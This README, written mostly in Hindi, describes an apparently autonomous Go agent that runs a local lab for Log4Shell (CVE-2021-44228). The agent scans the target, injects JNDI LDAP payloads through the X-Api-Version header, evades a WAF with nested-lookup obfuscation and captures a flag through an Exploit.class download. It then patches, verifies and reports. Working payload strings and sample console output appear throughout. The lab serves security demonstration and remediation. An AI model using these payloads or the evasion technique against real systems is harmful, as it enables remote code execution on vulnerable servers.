
CVE-2021-44228 (Log4Shell) के लिए पूर्ण-चक्र सुरक्षा ऑडिटिंग, WAF परिहार, OOB LDAP सत्यापन, स्व-सुधार (स्वचालित पैचिंग) और अनुपालन रिपोर्टिंग हेतु एक स्वायत्त रिफ्लेक्टिव Go एजेंट।
स्वायत्त रिफ्लेक्सिव निष्पादक एजेंट (Go/Java) का पृथक डेमो स्टैंड
Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦
[!NOTE] AUTO AUDIT एक सॉफ़्टवेयर कॉम्प्लेक्स है जो क्रिटिकल भेद्यता Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103) के लिए 100% स्वायत्त बंद-लूप (Sense-Think-Act) — पहचान, सत्यापन, एक्सप्लॉइटेशन, स्वचालित सुधार (Self-Healing / Auto-Remediation) और कंप्लायंस रिपोर्टिंग — का प्रदर्शन करता है।
यह स्टैंड Java Spring Boot पर आधारित एक लोकल वेब एप्लिकेशन, एक अंतर्निहित LDAP TCP Callback Listener और Go-एजेंट का संज्ञानात्मक कोर तैनात करता है, जो बाहरी वातावरण की आंशिक अवलोकनीयता की स्थितियों में निर्णय लेता है (Partially Observable Markov Decision Process — POMDP)।```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
B --> C{Вычисление Utility Policy}:::think
C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
D --> E[Выполнение Tool.Execute]:::act
E -->|Воздействие| F((Java Spring Boot Target)):::target
F -.->|Обратный канал OOB| A
end
---
## 🛠️ तकनीकी वास्तुकला और घटक
एजेंट की प्रोग्राम संरचना स्वच्छ वास्तुकला (*Hexagonal Architecture / Ports and Adapters*), SOLID और TDD के सिद्धांतों के अनुसार डिज़ाइन की गई है:
* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — प्रवेश बिंदु। बैकग्राउंड प्रक्रियाओं के जीवनचक्र को प्रबंधित करता है और एजेंट गोरूटीन के लॉन्च को समन्वित करता है।
* 📂 **`internal/`** — संज्ञानात्मक लूप की मुख्य व्यावसायिक तर्क:
* 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — संज्ञानात्मक लूप। नियंत्रण चक्र और रणनीति चयन हेतु निर्णय नियम `Think()` लागू करता है।
* 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — `sync.RWMutex` पर आधारित थ्रेड-सेफ़ ज्ञानकोश (`KnowledgeBase` / LTM)।
* 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — इफ़ेक्टर के लिए `Tool` इंटरफ़ेस।
* ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — पॉलीमॉर्फ़िक इफ़ेक्टर (टूल) का रजिस्ट्री:
* 🔍 `ToolPortScanner` — नेटवर्क परिधि की टोह लेना।
* 🌐 `ToolDiscovery` — कनेक्शन बिंदु और इनपुट वेक्टर (`X-Api-Version`) खोजना।
* 🔬 `ToolPayloadGenerator` — JNDI सिग्नेचर वेक्टर का संश्लेषण।
* 🚀 `ToolProber` — आउट-ऑफ़-बैंड (Out-of-Band) ट्रेसिंग द्वारा कमज़ोरी की जाँच।
* 🛡️ `ToolSemanticFuzzer` — नेस्टेड सिंटैक्टिक म्यूटेशन द्वारा फ़िल्टरिंग क्लासिफ़ायर (WAF Evasion) को बायपास करना।
* 🩹 `ToolRemediator` — स्वचालित पैचिंग (Self-Healing)।
* 📄 `ToolReporter` — ГОСТ Р 56939-2016 के अनुसार रिपोर्ट तैयार करना।
* 📂 **`pkg/`** — सहायक पैकेज और लाइब्रेरी:
* 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — आउट-ऑफ़-बैंड श्रोता (LDAP और HTTP)।
* ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — स्थानीय Java लक्ष्य के जीवनचक्र और पुनः आरंभ का प्रबंधन।
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — तैनाती हेतु कॉन्फ़िगरेशन फ़ाइलें (Docker, Compose)।
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — कमज़ोर परीक्षण Java Spring Boot ऐप।
---
## 🎯 गणितीय तंत्र और संज्ञानात्मक चक्र की विशिष्टता (Think-Act Loop)
एजेंट द्वारा निर्णय लेने को **आंशिक रूप से प्रेक्षणीय मार्कोव निर्णय प्रक्रिया (POMDP)** के रूप में औपचारिक रूप दिया गया है, जिसे टुपल $\langle S, A, T, R, \Omega, O, \gamma \rangle$ द्वारा वर्णित किया जाता है:
* $S$ — लक्ष्य परिवेश की छिपी अवस्थाओं का असतत स्थान (पोर्ट उपलब्धता, कमज़ोर पैरामीटरों की मौजूदगी, WAF गतिविधि, समझौता का तथ्य, पैचिंग स्थिति, कंप्लायंस रिपोर्ट की उपलब्धता)।
* $A$ — इफ़ेक्टर क्रियाओं का स्थान (टूल कॉल: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`)।
* $\Omega$ — प्रेक्षणों का स्थान (प्राप्त HTTP प्रतिक्रियाएँ, OOB TCP कॉलबैक, फ़ाइल सिस्टम रिकॉर्ड)।
* $O(o \mid s', a)$ — प्रेक्षण फ़ंक्शन, जो प्रतिक्रिया $o \in \Omega$ प्राप्त करने की संभावना निर्धारित करता है।
### 1. विश्वास वेक्टर (Belief State)
एजेंट के पास परिवेश की छिपी अवस्था $s \in S$ के बारे में सीधी जानकारी नहीं होती और वह विश्वास वेक्टर $b(s)$ के साथ काम करता है — यह $S$ पर एक संभाव्यता वितरण है, जो `KnowledgeBase` मेमोरी में संग्रहीत और गतिशील रूप से अद्यतन होता है:
* $b(S_{recon}) \in \{0, 1\}$ — नेटवर्क टोह की स्थिति (पोर्ट खुला/बंद)। `ToolPerformance["port_scanner"]` पर मैप होता है।
* $b(S_{discovery}) \in \{0, 1\}$ — इनपुट वेक्टरों का मैपिंग (क्या पैरामीटर मिले)। `len(DiscoveryVectors) > 0` पर मैप होता है।
* $b(S_{payload}) \in \{0, 1\}$ — एक्सप्लॉइट सिग्नेचर की तैयारी। `len(CustomPayloads) > 0` पर मैप होता है।
* $b(S_{exploit}) \in \{0, 1\}$ — समझौता की स्थिति (Loot/Flag की उपलब्धता)। `len(Loot) > 0` पर मैप होता है।
* $b(S_{patch}) \in \{0, 1\}$ — कमज़ोरी के स्थानीकरण का तथ्य। `PatchApplied` पर मैप होता है।
* $b(S_{verify}) \in \{0, 1\}$ — बार-बार OOB-ट्रिगर की अनुपस्थिति का सत्यापन। `PatchVerified` पर मैप होता है।
* $b(S_{report}) \in \{0, 1\}$ — विनियमित रिपोर्ट का निर्माण। `ReportGenerated` पर मैप होता है।
### 2. निर्णय नियम फ़ंक्शन (Policy Mapping)
निर्णय-निर्माण फ़ंक्शन `Think()` एक नियतात्मक निर्णय नियम $\pi: B \to A$ लागू करता है, जो वर्तमान संचित विश्वास अवस्था $b$ को क्रमिक रूप से इफ़ेक्टर के इष्टतम क्रिया $a \in A$ पर मैप करता है।
### 3. अनुकूली शिक्षण और टूल प्रभावशीलता का आकलन
प्रत्येक टूल $a \in A$ के लिए, `ToolStats` मेमोरी में आँकड़े जमा होते हैं और उपयोगिता स्कोर (Efficiency Score) की गणना की जाती है:
$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$
एजेंट इन स्कोरों का उपयोग गतिपथ को गतिशील रूप से बदलने के लिए करता है: यदि प्राथमिक प्रोब `prober` विफल रहा ($\text{EfficiencyScore}(\text{prober}) = 0$), तो एजेंट लक्ष्य नोड पर फ़िल्टरिंग (WAF) की उपस्थिति की पहचान करता है, `semantic_fuzzer` टूल के माध्यम से WAF बायपास की क्षतिपूर्ति रणनीति सक्रिय करता है, और इंजेक्शन वेक्टर का म्यूटेशन करता है।
### स्टैंड के कार्य का चरण-दर-चरण परिदृश्य:
| चरण | चयनित टूल | क्रिया और प्रक्रिया की भौतिकी | Belief State में परिवर्तन |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | होस्ट `:8080` के TCP सॉकेट की जाँच। | वेब सेवा का खुला HTTP पोर्ट मिला ($b(S_{recon}) = 1$)। |
| **2** | `discovery` | GET-अनुरोध निष्पादन, DOM और हेडर पार्सिंग। | इनपुट वेक्टर की पहचान हुई: `X-Api-Version` हेडर ($b(S_{discovery}) = 1$)। |
| **3** | `payload_generator` | बेस एक्सप्लॉइट वेक्टर का संश्लेषण। | डेटाबेस में स्ट्रिंग `\${jndi:ldap://127.0.0.1:1389/Exploit\}` जोड़ी गई ($b(S_{payload}) = 1$)। |
| **4** | `prober` | प्राथमिक हमला। एजेंट पेलोड भेजता है। | प्रयास WAF द्वारा अवरुद्ध। $\text{EfficiencyScore}(\text{prober}) = 0$। |
| **5** | `semantic_fuzzer` | nested lookups के माध्यम से सिग्नेचर का ऑबफ़स्केशन। | म्यूटेटेड सिग्नेचर उत्पन्न हुआ ($b(S_{payload}) = 1$, WAF बायपास)। |
| **6** | `prober` | ऑबफ़स्केटेड वेक्टर के साथ हमला। | अंतर्निर्मित LDAP श्रोता आने वाले TCP कनेक्शन को दर्ज करता है। RCE का तथ्य पता चला ($b(S_{exploit}) = 1$)। |
| **7** | `remediator` | स्वचालित सुधार। `remediation.properties` में फ़्लैग लिखना और JVM पुनः आरंभ। | Spring Boot प्रक्रिया फ़्लैग `-Dlog4j2.formatMsgNoLookups=true` के साथ पुनः आरंभ हुई ($b(S_{patch}) = 1$)। |
| **8** | `prober` | सत्यापन (बार-बार प्रोबिंग अनुरोध)। | पोर्ट `1389` पर OOB-कनेक्शन की प्रतीक्षा। कनेक्शन अनुपस्थित $\rightarrow$ $b(S_{verify}) = 1$। |
| **9** | `reporter` | markdown-रिपोर्ट का निर्माण। | दस्तावेज़ `reports/cve_2021_44228_report.md` तैयार हुआ ($b(S_{report}) = 1$)। |
| **10**| `stop` | समाप्ति। | कार्य समापन। |
## 📊 एल्गोरिदम के ब्लॉक-चित्र
### 1. एजेंट के कार्य का सामान्य एल्गोरिदम (Sense-Think-Act Loop)
यह आरेख एजेंट के कार्य के निरंतर जीवनचक्र का वर्णन करता है: प्रारंभ और ज्ञानकोश के आरंभीकरण से लेकर ऑडिट सत्र के समापन तक।```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
Init --> LoopStart{Цикл принятия решений}:::decision
%% Think Phase
LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
%% Branch on Stop
Think --> IsStop{a == 'stop'?}:::decision
IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
%% Act Phase
IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
%% Sense Phase
Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
%% Wait
RecordObs --> Delay[Задержка 800 мс]:::step
Delay --> LoopStart
यह आरेख Think() फ़ंक्शन के भीतर वर्तमान संचित विश्वास वेक्टर (Belief State) के आधार पर अगले चरण का चयन करने के तर्क का विस्तार से वर्णन करता है:```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process
%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection
%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection
%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection
%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision
ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection
%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection
%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection
%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection
%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection
%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock
Unlock --> End([Возврат выбранного инструмента]):::startEnd
---
## 📦 असुरक्षित Java अनुप्रयोग का विनिर्देशन
`test/vulnerable-app/` निर्देशिका में स्थित लक्ष्य अनुप्रयोग **Spring Boot 2.7.18** पर आधारित एक न्यूनतम REST सेवा है, जिसमें **Apache Log4j2** लाइब्रेरी के जानबूझकर कम किए गए संस्करण शामिल हैं:```xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>
असुरक्षित कंट्रोलर बिना पूर्व स्वच्छीकरण के आने वाले HTTP हेडर को लॉग करता है:```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);
जब किसी `\${jndi:ldap://...\}` प्रारूप की स्ट्रिंग प्राप्त होती है, तो लॉगर JNDI-पते का रिज़ॉल्व आरंभ करता है, और LDAP प्रोटोकॉल के माध्यम से पोर्ट `1389` पर अनुरोध भेजता है।
---
## 🚀 चलाने के निर्देश
डेमो स्टैंड दो तैनाती मोड का समर्थन करता है: होस्ट सिस्टम पर सीधे लोकल चालन (विकल्प A) या Docker Compose के माध्यम से पृथक नेटवर्क वातावरण में पूर्णतः कंटेनरीकृत चालन (विकल्प B)।
### विकल्प A. होस्ट सिस्टम पर लोकल चालन
#### पूर्वापेक्षाएँ
* **JDK 17+** (`java -version` से जाँचें)
* **Maven 3.8+** (`mvn -version` से जाँचें)
* **Go 1.21+** (`go version` से जाँचें)
#### 1. Java-माइक्रोसर्विस का निर्माण
Java-लक्ष्य को एक फैट JAR आर्टिफैक्ट में संकलित करें:```bash
cd test/vulnerable-app
mvn clean package
cd ../..
सुनिश्चित करें कि निर्देशिका test/vulnerable-app/target/ में फ़ाइल vulnerable-app-simple-1.0.0.jar सफलतापूर्वक बन गई है।
Java Exploit क्लास को संकलित करें, जो HTTP-सर्वर द्वारा वितरित किया जाएगा:```bash javac internal/payload/Exploit.java
#### 3. डेमो स्टैंड का संकलन और प्रारंभ
Go की ऑन-द-फ्लाई इंटरप्रेटेशन मोड में चलाएँ:```bash
go run ./cmd/agent
या इसे एक निष्पादन योग्य बाइनरी फ़ाइल में संकलित करें:```bash go build -o test_agent ./cmd/agent ./test_agent
---
### विकल्प बी. पृथक Docker-वातावरण में लॉन्च (Docker Compose)
> [!TIP]
> यह विकल्प आपकी होस्ट प्रणाली पर Go, Java या Maven की स्थापना की आवश्यकता नहीं है। संपूर्ण वातावरण पृथक वर्चुअल नेटवर्क `172.20.0.0/16` में स्वचालित रूप से निर्मित और व्यवस्थित किया जाता है।
#### पूर्वापेक्षाएँ
* स्थापित **Docker** और **Docker Compose** प्लगइन (`docker compose version` से जाँचें)।
#### 1. स्टैंड प्रारंभ
प्रोजेक्ट की मूल निर्देशिका से एक ही कमांड से इमेज बनाएँ और कंटेनर लॉन्च करें:```bash
docker compose -f deployments/docker-compose.yml up --build
vulnerable-app स्वचालित रूप से Spring Boot Java एप्लिकेशन को संकलित करेगा, गुप्त फ्लैग को बंद निर्देशिका /var/lib/secret/flag.txt में लिखेगा और पोर्ट :8080 पर वेब सर्वर चलाएगा।reflective-agent एजेंट के Go कोड को संकलित करेगा, Java-payload Exploit.java को संकलित करेगा, OOB-सर्वरों को चालू करेगा और संज्ञानात्मक चक्र शुरू करेगा।reports/ एजेंट कंटेनर में माउंट किया गया है — कार्य के अंत में उत्पन्न GOST रिपोर्ट आपकी निर्देशिका reports/cve_2021_44228_report.md में स्वचालित रूप से सहेजी जाएगी।सिमुलेशन समाप्त करने और नेटवर्क संसाधनों को हटाने के लिए चलाएँ:```bash docker compose -f deployments/docker-compose.yml down
---
## 📊 कंसोल आउटपुट का उदाहरण```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.
[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.
[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.
[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.
[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.
[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.
================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.
एजेंट द्वारा उत्पन्न रिपोर्ट reports/cve_2021_44228_report.md फ़ाइल में प्रमुख रूसी सूचना सुरक्षा मानकों को ध्यान में रखती है:
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत वितरित किया जाता है। विवरण LICENSE फ़ाइल में देखें।